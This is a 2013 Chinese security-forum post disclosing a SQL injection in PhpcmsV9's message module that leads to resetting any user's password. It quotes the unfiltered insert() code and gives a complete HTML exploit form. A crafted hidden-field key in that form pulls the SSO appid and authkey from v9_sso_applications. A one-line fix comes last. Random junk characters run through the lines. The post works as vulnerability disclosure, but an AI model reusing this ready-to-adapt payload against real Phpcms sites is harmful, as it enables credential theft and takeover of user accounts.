找回密码
 立即注册
查看: 2920|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:/ L$ Q: [4 l. e& n
& x9 S, u* \3 ^) `0 Y; }
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。$ ^0 z7 J& C8 u
5 @2 @$ p- `, E1 z  G4 H
明天再更新下一个漏洞。
; t/ l+ H( O0 h1 h详细说明:) {# P  ^! h. {6 B" R
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
: {4 K5 Y, z* K' N
9 j7 P: I8 [; p$messageid = $this->message_db->insert($_POST['info'],true);# q, H* k6 n5 p6 U3 z0 H2 j4 ?
" b" d* i$ a; [* B

6 @! r9 a. M' ?- a1 u1 O1 ~insert方法是key value的,代码如下:4 ~) w9 C% {! ^1 p6 W

& Y5 T3 ~( I% h2 ^public function insert($data, $table, $return_insert_id = false, $replace = false) {
$ k2 |" D4 H7 T1 y                if(!is_array( $data ) || $table == '' || count($data) == 0) {
5 O2 T" p6 d* D5 E( Z/ A' q                        return false;
4 G$ q- _& i6 r* C9 b( ]                }7 o) M' ^! F  H
                " N( T& k0 }& n
                $fielddata = array_keys($data);8 l' \- H0 d4 v  W
                $valuedata = array_values($data);
3 X/ _4 p& l& @1 s5 z2 `: ]- m6 c7 M                array_walk($fielddata, array($this, 'add_special_char'));  m7 f' c1 o7 T: h) P9 ^& E3 A
                array_walk($valuedata, array($this, 'escape_string'));# [7 x& ^! u% F( d5 c
               
1 Q% a& Q9 X5 B2 i                $field = implode (',', $fielddata);
7 ^/ g7 u% @5 Q/ H$ T' L( L                $value = implode (',', $valuedata);
$ U( C8 }" w7 e* V% ^* ~. G/ X7 Z* ^0 d
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
! h" F9 U) r: c3 I0 n7 s                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';1 R8 K2 B6 [( K& w2 V) v
                $return = $this->execute($sql);; W* R, |# D2 v  Q, D3 x
                return $return_insert_id ? $this->insert_id() : $return;7 l7 ]2 `& W0 J4 [
        }3 D4 {9 D4 P7 n- t# C; J
; b) p# ?, i$ q9 U% G
: V# o% n5 G# a$ B; G
嗯,很遗憾的是
5 {+ z/ ~/ `! B; O" L/ ^0 ]+ d
8 m4 W0 A6 `; m7 @5 T, V- Y3 l5 karray_walk($fielddata, array($this, 'add_special_char'));. k" M' [# b0 `, N4 L

6 O6 |& v* I" e9 ~3 H5 g( T7 s" w# k7 l+ h) K  @
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。! X$ ?2 {. ]" W
; J$ m% \0 Q8 C! A  o7 A
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。$ ~; _2 n# ^+ P  v# m
' |9 y9 ^6 u4 V9 p- L# K
漏洞证明:
; E8 v* K6 R& Q# t! Z2 Z读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
7 n) A0 c" q/ C; {
( g: U4 r  ^# t: y4 \
1 i4 Y7 A: k: M7 Q' L" G9 x表单如下:用户名什么的得自己改一改。5 v- P- F" M4 L  }/ {' u
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
# U* N, e' h) R8 ^% F( A8 P<table width="100%" cellspacing="0" class="table_form">
9 i9 Q$ d0 h2 k, y  _<tr>
5 R5 {4 m* d  ]  F<th>标 题:</th>
  W! {) {7 t. n; P<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
5 Y' r6 z/ k8 O3 p$ S- a; |& |</tr> + p4 A) G6 ?) a- n
<tr>
, ]$ @) o' T3 Y1 [* `$ X<th>内 容:</th>
4 D, O& g9 `7 P  G! M& |) ~<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>( ^: d! ?" q- `9 \$ U, S0 k0 Y
</tr>: k' R2 |& J( N1 Z2 V) [- n5 {
<input type="hidden" name="info[replyid]" value="2" /> $ w- H) `. ^) U& P, I2 s- R
<input type="hidden" name="info[send_to_id]" value="cc" />
' l; n* N5 ^: F- H' D<input type="hidden" name="info[send_from_id]" value="hh">
2 r4 g2 J4 s! e& \' J<!-- 漏洞的利用重点在这里开始 -->4 a" f" E- E! }
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> $ [0 j4 h& @: p& z, i
<!-- 漏洞的利用重点在这里结束 -->+ |$ Y- Z$ z- x0 J$ a: q
<tr>
# R. m! n9 m  j' g  x  w8 J<th>验证码:</th>6 e2 F9 Z* T& n% t" |6 `
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
* V2 F/ \5 }* G</tr>2 S0 t: S2 p. q3 J! k
<tr>
' p- H, D- r+ A<td></td>/ f7 t# Z6 |* r3 H  {2 I2 s
<td colspan="2"><label>
# w. E* e' F: k3 V<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>3 C/ I: f4 l% L- a
</label></td>; O# g1 O+ ~2 r8 P
</tr>+ y: }) ?# u9 P, @
</table>; _% ~8 d1 b: O0 ~, o
</form>2 F) Q" j: [- p/ Z- |3 i5 S  y" P
在add_special_char函数内对key做过滤就可以了。
* U/ }. x8 _2 u% r; C
8 o; [: G+ [! a! ~; g% W
- M8 |" W) s2 X$ J
! a% z. ?( d, _! Z. \: {1 m

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表